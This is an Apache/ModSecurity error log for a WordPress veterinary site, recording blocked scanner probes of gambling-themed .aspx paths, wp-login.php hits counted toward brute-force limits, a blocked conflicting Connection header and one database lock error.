[Thu Feb 19 04:39:04.786257 2026] [:error] [pid 48903:tid 48980] [client 135.181.213.219:29494] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZYjaI6aTgKrpAR115vxsgAAAI8"]
[Thu Feb 19 04:39:07.351867 2026] [:error] [pid 48901:tid 48922] [client 135.181.213.219:29498] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aZYja8ixYz-lHbN0WBKvfwAAAAw"]
[Thu Feb 19 04:39:09.782195 2026] [:error] [pid 15513:tid 15536] [client 135.181.213.219:29502] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aZYjbcGTRTE022JWg1-BgAAAARU"]
[Thu Feb 19 04:39:12.223884 2026] [:error] [pid 15513:tid 15530] [client 135.181.213.219:50144] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZYjcMGTRTE022JWg1-BhgAAAQ8"]
[Thu Feb 19 04:39:14.651968 2026] [:error] [pid 49002:tid 49015] [client 135.181.213.219:50160] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aZYjclfcBtQ6hSJuEQlviAAAAME"]
[Thu Feb 19 04:39:17.088659 2026] [:error] [pid 48903:tid 48988] [client 135.181.213.219:50162] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZYjdY6aTgKrpAR115vxvAAAAJc"]
[Thu Feb 19 04:39:19.667753 2026] [:error] [pid 48903:tid 48969] [client 135.181.213.219:50172] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aZYjd46aTgKrpAR115vxygAAAIQ"]
[Thu Feb 19 04:39:22.266025 2026] [:error] [pid 48903:tid 48968] [client 135.181.213.219:32812] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aZYjeo6aTgKrpAR115vx1AAAAIM"]
[Thu Feb 19 04:39:24.824734 2026] [:error] [pid 48902:tid 48950] [client 135.181.213.219:32824] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aZYjfGcJ-6aYRpRRFsUxugAAAEw"]
[Thu Feb 19 04:39:27.277093 2026] [:error] [pid 48902:tid 48945] [client 135.181.213.219:32834] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aZYjf2cJ-6aYRpRRFsUxvAAAAEc"]
[Thu Feb 19 04:40:24.342168 2026] [:error] [pid 48902:tid 48942] [client 135.181.213.219:13846] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aZYjuGcJ-6aYRpRRFsUyCgAAAEQ"]
[Thu Feb 19 04:57:53.589747 2026] [:error] [pid 48903:tid 48965] [client 49.13.125.140:55082] [client 49.13.125.140] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 49.13.125.140, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZYn0Y6aTgKrpAR115v3PgAAAIA"]
[Thu Feb 19 05:02:04.307676 2026] [:error] [pid 24048:tid 24069] [client 192.144.148.122:44562] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aZYozGug6wHHqU0QyDaxZwAAAVM"]
[Thu Feb 19 05:16:05.236318 2026] [proxy_fcgi:error] [pid 48901:tid 48918] [client 172.225.60.188:42519] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_doing_cron', '1771449365.1939239501953125000000', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_cron, spawn_cron, set_transient, add_option', referer: https://vetstars.com.au/appointment/
[Thu Feb 19 06:03:45.522428 2026] [:error] [pid 49002:tid 49022] [client 54.38.49.49:35446] [client 54.38.49.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.38.49.49, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZY3QVfcBtQ6hSJuEQmMRAAAAMg"]
[Thu Feb 19 06:22:48.416210 2026] [:error] [pid 15513:tid 15519] [client 172.104.208.183:38886] [client 172.104.208.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.104.208.183, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZY7uMGTRTE022JWg1-puwAAAQQ"]
[Thu Feb 19 06:46:38.027290 2026] [:error] [pid 48902:tid 48954] [client 62.84.185.52:57950] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aZZBTmcJ-6aYRpRRFsVWsgAAAFA"]
[Thu Feb 19 06:46:40.657264 2026] [:error] [pid 24048:tid 24066] [client 62.84.185.52:57968] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aZZBUGug6wHHqU0QyDbi7gAAAVA"]
[Thu Feb 19 06:46:43.146789 2026] [:error] [pid 49002:tid 49031] [client 62.84.185.52:57980] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aZZBU1fcBtQ6hSJuEQmcIgAAANE"]
[Thu Feb 19 06:46:45.605512 2026] [:error] [pid 15513:tid 15522] [client 62.84.185.52:57992] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aZZBVcGTRTE022JWg1-zNwAAAQc"]
[Thu Feb 19 06:46:48.252352 2026] [:error] [pid 15513:tid 15535] [client 62.84.185.52:6956] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aZZBWMGTRTE022JWg1-zPwAAARQ"]
[Thu Feb 19 06:46:50.831263 2026] [:error] [pid 48903:tid 48971] [client 62.84.185.52:6982] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZZBWo6aTgKrpAR115sZPgAAAIY"]
[Thu Feb 19 06:46:53.433276 2026] [:error] [pid 15513:tid 15525] [client 62.84.185.52:6998] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZZBXcGTRTE022JWg1-zRgAAAQo"]
[Thu Feb 19 06:46:56.129211 2026] [:error] [pid 48901:tid 48925] [client 62.84.185.52:7004] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZZBYMixYz-lHbN0WBLUPgAAAA8"]
[Thu Feb 19 06:46:58.510029 2026] [:error] [pid 15513:tid 15526] [client 62.84.185.52:58260] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZZBYsGTRTE022JWg1-zTwAAAQs"]
[Thu Feb 19 06:47:01.035526 2026] [:error] [pid 48902:tid 48958] [client 62.84.185.52:58272] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZZBZWcJ-6aYRpRRFsVW3AAAAFQ"]
[Thu Feb 19 06:47:03.673853 2026] [:error] [pid 48903:tid 48975] [client 62.84.185.52:58298] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZZBZ46aTgKrpAR115sZSwAAAIo"]
[Thu Feb 19 06:47:06.262269 2026] [:error] [pid 49002:tid 49016] [client 62.84.185.52:58324] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZZBalfcBtQ6hSJuEQmcRAAAAMI"]
[Thu Feb 19 06:47:08.727340 2026] [:error] [pid 24048:tid 24060] [client 62.84.185.52:64510] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZZBbGug6wHHqU0QyDbjKgAAAUo"]
[Thu Feb 19 06:47:11.370187 2026] [:error] [pid 15513:tid 15527] [client 62.84.185.52:64538] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aZZBb8GTRTE022JWg1-zbQAAAQw"]
[Thu Feb 19 06:47:13.979667 2026] [:error] [pid 49002:tid 49026] [client 62.84.185.52:64568] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aZZBcVfcBtQ6hSJuEQmcUwAAAMw"]
[Thu Feb 19 06:47:16.598267 2026] [:error] [pid 48901:tid 48933] [client 62.84.185.52:64576] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aZZBdMixYz-lHbN0WBLUYQAAABc"]
[Thu Feb 19 06:47:19.218074 2026] [:error] [pid 24048:tid 24053] [client 62.84.185.52:15346] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZZBd2ug6wHHqU0QyDbjRAAAAUM"]
[Thu Feb 19 06:47:21.822784 2026] [:error] [pid 15513:tid 15530] [client 62.84.185.52:15360] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZZBecGTRTE022JWg1-zgQAAAQ8"]
[Thu Feb 19 06:47:24.444800 2026] [:error] [pid 49002:tid 49032] [client 62.84.185.52:15388] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aZZBfFfcBtQ6hSJuEQmcZwAAANI"]
[Thu Feb 19 06:47:26.881086 2026] [:error] [pid 48901:tid 48924] [client 62.84.185.52:15394] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aZZBfsixYz-lHbN0WBLUcAAAAA4"]
[Thu Feb 19 06:47:29.476339 2026] [:error] [pid 24048:tid 24058] [client 62.84.185.52:23794] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aZZBgWug6wHHqU0QyDbjTwAAAUg"]
[Thu Feb 19 06:48:03.732856 2026] [:error] [pid 49002:tid 49034] [client 62.84.185.52:24520] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aZZBo1fcBtQ6hSJuEQmckgAAANQ"]
[Thu Feb 19 06:48:06.176039 2026] [:error] [pid 49002:tid 49019] [client 62.84.185.52:24534] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aZZBplfcBtQ6hSJuEQmclgAAAMU"]
[Thu Feb 19 06:48:08.775759 2026] [:error] [pid 15513:tid 15537] [client 62.84.185.52:50862] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aZZBqMGTRTE022JWg1-z4QAAARY"]
[Thu Feb 19 06:48:11.340206 2026] [:error] [pid 15513:tid 15516] [client 62.84.185.52:50868] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aZZBq8GTRTE022JWg1-z5gAAAQE"]
[Thu Feb 19 06:48:13.869120 2026] [:error] [pid 48902:tid 48955] [client 62.84.185.52:50870] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZZBrWcJ-6aYRpRRFsVXMAAAAFE"]
[Thu Feb 19 06:48:16.369358 2026] [:error] [pid 24048:tid 24064] [client 62.84.185.52:50880] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aZZBsGug6wHHqU0QyDbjlwAAAU4"]
[Thu Feb 19 06:48:18.956265 2026] [:error] [pid 15513:tid 15519] [client 62.84.185.52:59030] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aZZBssGTRTE022JWg1-z8wAAAQQ"]
[Thu Feb 19 06:48:21.572913 2026] [:error] [pid 49002:tid 49027] [client 62.84.185.52:59046] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aZZBtVfcBtQ6hSJuEQmcrQAAAM0"]
[Thu Feb 19 06:48:24.144800 2026] [:error] [pid 48901:tid 48914] [client 62.84.185.52:59072] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZZBuMixYz-lHbN0WBLUqwAAAAQ"]
[Thu Feb 19 06:48:26.724356 2026] [:error] [pid 48903:tid 48967] [client 62.84.185.52:59082] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZZBuo6aTgKrpAR115sZrgAAAII"]
[Thu Feb 19 06:48:29.204609 2026] [:error] [pid 24048:tid 24067] [client 62.84.185.52:32742] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZZBvWug6wHHqU0QyDbjoAAAAVE"]
[Thu Feb 19 06:48:31.827741 2026] [:error] [pid 15513:tid 15533] [client 62.84.185.52:32750] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZZBv8GTRTE022JWg1-0CwAAARI"]
[Thu Feb 19 06:48:34.449010 2026] [:error] [pid 48901:tid 48920] [client 62.84.185.52:32760] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZZBwsixYz-lHbN0WBLUuwAAAAo"]
[Thu Feb 19 06:48:37.046087 2026] [:error] [pid 48901:tid 48914] [client 62.84.185.52:32764] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZZBxcixYz-lHbN0WBLUvwAAAAQ"]
[Thu Feb 19 06:48:39.620546 2026] [:error] [pid 48902:tid 48951] [client 62.84.185.52:3730] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aZZBx2cJ-6aYRpRRFsVXUAAAAE0"]
[Thu Feb 19 06:48:42.074342 2026] [:error] [pid 24048:tid 24068] [client 62.84.185.52:3744] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aZZBymug6wHHqU0QyDbjtgAAAVI"]
[Thu Feb 19 06:48:44.641566 2026] [:error] [pid 15513:tid 15529] [client 62.84.185.52:3760] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZZBzMGTRTE022JWg1-0GgAAAQ4"]
[Thu Feb 19 06:48:47.266639 2026] [:error] [pid 24048:tid 24070] [client 62.84.185.52:3766] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aZZBz2ug6wHHqU0QyDbjwAAAAVQ"]
